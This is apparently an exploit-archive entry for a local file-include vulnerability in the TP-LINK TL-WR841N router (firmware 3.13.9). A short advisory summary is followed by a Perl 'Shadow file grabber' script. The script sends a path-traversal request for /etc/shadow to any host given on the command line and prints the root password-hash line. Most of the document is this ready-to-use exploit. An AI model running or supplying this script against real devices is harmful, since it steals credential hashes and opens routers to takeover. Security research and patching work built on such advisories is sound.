source: https://www.securityfocus.com/bid/56320/info
TP-LINK TL-WR841N router is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit this vulnerability to view files and execute local scripts in the context of the affected device. This may aid in further attacks.
TP-LINK TL-WR841N 3.13.9 Build 120201 Rel.54965n is vulnerable; other versions may also be affected.#TP-LINK TL-WR841N Shadow file grabber##built by Pulse matan () madsec co il##enjoy#
use LWP::UserAgent;
$host = $ARGV[0];
chomp($host);if($host !~/http:\/\//){ $host ="http://$host";;};
my $ua = LWP::UserAgent->new;
$ua->timeout(30);
$lfi ="/help/../../../../../../../../etc/shadow";
$url = $host.$lfi;
$request = HTTP::Request->new('GET', $url);
$response = $ua->request($request);
my $html = $response->content;if($html =~/root/){print"root$' \n";}